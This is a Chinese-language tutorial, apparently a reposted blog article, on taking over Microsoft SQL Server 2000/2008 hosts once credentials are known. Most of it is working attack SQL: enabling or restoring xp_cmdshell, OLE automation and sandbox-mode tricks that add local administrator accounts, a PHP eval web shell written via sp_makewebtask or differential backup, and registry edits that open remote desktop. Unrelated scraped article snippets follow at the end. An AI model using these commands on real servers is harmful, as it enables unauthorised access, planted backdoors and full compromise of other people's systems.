MSSQL得知密码后getshell
本文用了 sql server 2000和sql server 2008
MSSQL连接
连接MSSQL 2000
新建连接:

填写目的IP、目的端口、用户名、密码:

一直下一步,完成后,数据库导航窗口会出现一个连接,双击连接:
若是第一次连接,双击会提示下载驱动文件,若不成功,需多次反复尝试


新建SQL编辑器即可执行SQL语句:

查询SQL Server版本SQL语句如下:
select @@version;
执行结果:

连接MSSQL 2008
新建连接:

填写目的IP、目的端口、用户名、密码:

新建查询:

执行SQL语句,查询所有的数据库名称:
SQL语句:
SELECT Name FROM Master..SysDatabases ORDER BY Name;
执行结果:

MSSQL利用方式
xp_cmdshell
1.直接利用:
SQL语句:
exec master..xp_cmdshell 'whoami';
SQL Server 2000结果:

SQL Server 2008结果:

xp_cmdshell存储过程在 SQL Server 2005以后默认关闭,需要手动开启
开启xp_cmdshell命令如下:
exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE;
有的时候不支持多句执行,那就采用分步执行,开启xp_cmdshell过程如下:
exec sp_configure 'show advanced options', 1; //开启高级选项
RECONFIGURE; //配置生效
exec sp_configure'xp_cmdshell', 1; //开启xp_cmdshell
RECONFIGURE; //配置生效
可以通过exec sp_configure查看xp_cmdshell状态:
exec sp_configure

再次执行系统命令:
exec master..xp_cmdshell 'whoami';

exec master..xp_cmdshell 'ipconfig';

关闭xp_cmdshell过程如下:
exec sp_configure 'show advanced options', 1; //开启高级选项
RECONFIGURE; //配置生效
exec sp_configure'xp_cmdshell', 0; //关闭xp_cmdshell
RECONFIGURE; //配置生效
2.恢复xp_cmdshell:
判断是否xp_cmdshell存储过程,返回1代表存在:
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
在SQL Server 2005及之前的版本,管理员可能采用下面命令可以将xp_cmdshell删除:
exec master..sp_dropextendedproc xp_cmdshell;
此时若使用xp_cmdshell,会提示“未能找到存储过程”,如下:

需使用下面命令可以恢复:
exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;
恢复xp_cmdshell需要xplog70.dll,但有的管理员会将xplog70.dll一并删除:

如果有上传权限,可以上传xplog70.dll,并执行:

exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='C:\xplog70.dll'declare @o int;
sp_oacreate(添加管理员)
SQL Server 2008不可用,SQL Server 2000可添加管理员用户:
DECLARE @js int EXEC sp_oacreate 'ScriptControl',@js OUT EXEC sp_OASetProperty @js, 'Language', 'JavaScript' EXEC sp_OAMethod @js, 'Eval', NULL, 'var o=new ActiveXObject("Shell.Users");z=o.create("test1");z.changePassword("test1","");z.setting("AccountType")=3;'
sp_makewebtask (写文件)
SQL Server 2008不可用,SQL Server 2000可新建文件:
exec sp_makewebtask 'C:\test1.php',' select ''<?php phpinfo();?>'' ';;--
写shell
exec sp_makewebtask 'C:\test1.php',' select ''<?php @eval($?_POST['cmd']);?>'' ';;--

wscript.shell(添加管理员)
SQL Server 2008、SQL Server 2000均可用:
开启(2008可以试一下,2000不用开启)
exec sp_configure 'Web AssistantProcedures', 1; RECONFIGURE
添加用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test2 test2 /add'
添加到管理员组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators test2 /add'
执行结果:

Shell.Application(添加用户)
SQL Server 2008不可用,SQL Server 2000可用:
declare @o int exec sp_oacreate 'Shell.Application', @o out exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user test3 test3 /add','c:\windows\system32','','1';
沙盒模式
只有Windows xp 与 Windows 2003可用:
开启沙盒模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--
执行系统命令:(添加用户)
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test4 test4 /add")')

MSSQL差异备份
MSSQL 2008
查询库名:
SELECT DB_NAME();
也可以创建数据库:
create database test2;
先进行一次完整备份:
backup database test2 to disk = 'c:\test2.bak';
使用数据库:
use test2;
创建新表:
create table [dbo].[test2] ([cmd] [image]);
向表中插入数据:
insert into test2(cmd) values(0x3c3f70687020706870696e666f28293b3f3e);
3c3f70687020706870696e666f28293b3f3e为16进制的<?php phpinfo();?>
进行差异备份:
backup database test2 to disk='C:\phpStudy\PHPTutorial\WWW\test2.php' WITH DIFFERENTIAL,FORMAT;
访问目标地址:

3.补充
查看远程桌面开启
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer', 'fDenyTSConnections'
开启远程桌面
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer', 'fDenyTSConnections', 'REG_DWord',0
MSSQL得知密码后getshell的更多相关文章
- Chrome 62 的大坑:修改密码后始终使用保存的旧密码登录
最近有用户向我们反馈,修改密码后,怎么也登录不了我们网站,总是提示密码错误.用户确认密码肯定没错,通过用户发给我们的操作截图看,用户修改密码的操作也没问题. 开始我们没能重现出这个问题,我们检查了相关 ...
- 修改sys密码与nbu备份脚本密码后,nbu备份报密码无效
公司要求口令强化,在修改sys密码后nbu的.sh脚本connect备份归档的sys/passwd也随之修改修改后每个业务备份均失败, 每次备份到归档那里就结束报密码无效,疑惑备份脚本密码也同步修改了 ...
- 利用phpmyadmin修改mysql的root密码及如何进入修改密码后的phpmyadmin
1.利用phpmyadmin修改mysql的root密码 很多人利用phpmyadmin或者命令行来修改了mysql的root密码,重启后发现mysql登录错误,这是为什么呢?修改mysql的root ...
- xampp 用phpmyadmin在页面上修改密码后,无法登陆,密码没问题
xampp 用phpmyadmin在页面上修改密码后,无法登陆,密码没问题一直提示密码错误, 什么原因? ------解决方案--------------------改了密码之后,phpmyadmin ...
- wampserver修改mysql密码后phpmyadmin登陆错误处理方法
首先针对wampserver这个软件来说,是很方面的! 在进行使用时都会涉及到关于mysql数据管理系统的相关密码的修改,这个当然修改是很简单,当时没有想那么多,想为自己的mysql添加一个密码,方式 ...
- TortoiseGit拉取或推送,输入账号密码后提示 HTTP Basic: Access denied fatal: Authentication failed 解决方案
TortoiseGit拉取或推送项目,输入账号密码后,提示 HTTP Basic: Access denied fatal: Authentication failed. 大体意思是,HTTP基本认证 ...
- MYSQL后更改ROOT的密码后无法启动服务报错1067
安装MYSQL后更改了ROOT的密码后用 net start mysql 启动时报错1067.使用以下命令:1.进入mysql安装目录的bin目录下:cd C:\Program Files\MySQL ...
- sudo passwd root输入普通用户密码后显示用户不再sudoers文件中
在写上一篇VirtualBox创建共享文件夹的时候,在运行下图授权时,root密码一直输入错误 然后我就在终端输入 su root,却发现需要密码,但我却不知道密码是什么 于是我就在终端输入如下命令, ...
- 【登录异常解决】Ubuntu 输入正确的密码后重新返回到登陆界面
症状 Ubuntu 输入正确的密码后,黑屏一闪,重新返回到登陆界面. 原因一:主目录下的.Xauthority文件拥有者变成了root,从而以用户登陆的时候无法都取.Xauthority文件.说明:X ...
随机推荐
- P1015 [NOIP1999 普及组] 回文数
点击查看题目 题目描述 若一个数(首位不为零)从左向右读与从右向左读都一样,我们就将其称之为回文数. 例如:给定一个十进制数 5656,将 5656 加 6565(即把 5656 从右向左读),得到 ...
- Nacos中服务删除不了,怎么办?
前两天遇到了一个问题,Nacos 中的永久服务删除不了,折腾了一番,最后还是顺利解决了.以下是原因分析和解决方案,建议先收藏,以备不时之需. 临时实例和持久化实例是 Nacos 1.0.0 中新增了一 ...
- php spl_autoload_register 实现自动加载
spl_autoload_register (PHP 5 >= 5.1.2, PHP 7) spl_autoload_register - 注册给定的函数作为 __autoload 的实现 语法 ...
- 解决Springboot中的日期解析错误
错误信息: error: Failed to parse Date value '2022-01-12 15:00:00': Cannot parse date "2022-01-12 15 ...
- 深入理解Java类加载机制,再也不用死记硬背了
谈谈"会"的三个层次 在<说透分布式事务>中,我举例里说明了会与会的差别.对一门语言的学习,这里谈谈我理解的"会"的三个层次: 第一层:了解这门语言 ...
- 思迈特软件Smartbi光鲜亮丽的背后是什么在支撑?
思迈特软件Smartbi是国内知名BI厂商,自2011年成立以来就以提升和挖掘客户的价值为使命,致力于为客户提供一站式商业智能平台和BI解决方案,发展到如今已经获得了来自国家.地方政府.国内外权威分析 ...
- 谁说EXCEL不能处理大数据?那是你用错了工具
我是一名数据分析师,每天需要和各种各样的数据和表格打交道,是一名名副其实的"表哥",不仅需要制作和更新公司里的日报.周报和月报,有时候也要为公司的会议准备各种数据材料.由于公司的业 ...
- 巧用 CSS 实现炫彩三角边框动画
最近有个小伙伴问我,在某个网站看到一个使用 SVG 实现的炫彩三角边框动画,问能否使用 CSS 实现: 很有意思的一个动画效果,立马让我想起了我在 CSS 奇思妙想边框动画 一文中介绍的边框动画,非常 ...
- 编译原理 | 构造LR(1)自动机的注意事项
在画图之前,有时候要先对产生式集合进行某些操作. 下图所示的情况,不需要补一条拓广产生式,因为开始符Z没有出现在某条产生式的右侧. 即,如果开始符出现在某条产生式的右部,需要增加拓广产生式.
- ssh执行命令或者脚本里最好先加上 source /etc/profile
记: 写一次shell脚本,发现总提示 找不到JAVA_HOME .明明已经配了环境变量,并且java -version也已经能输出信息,但就是提示. 后来在 脚本中加入第一句代码 source /e ...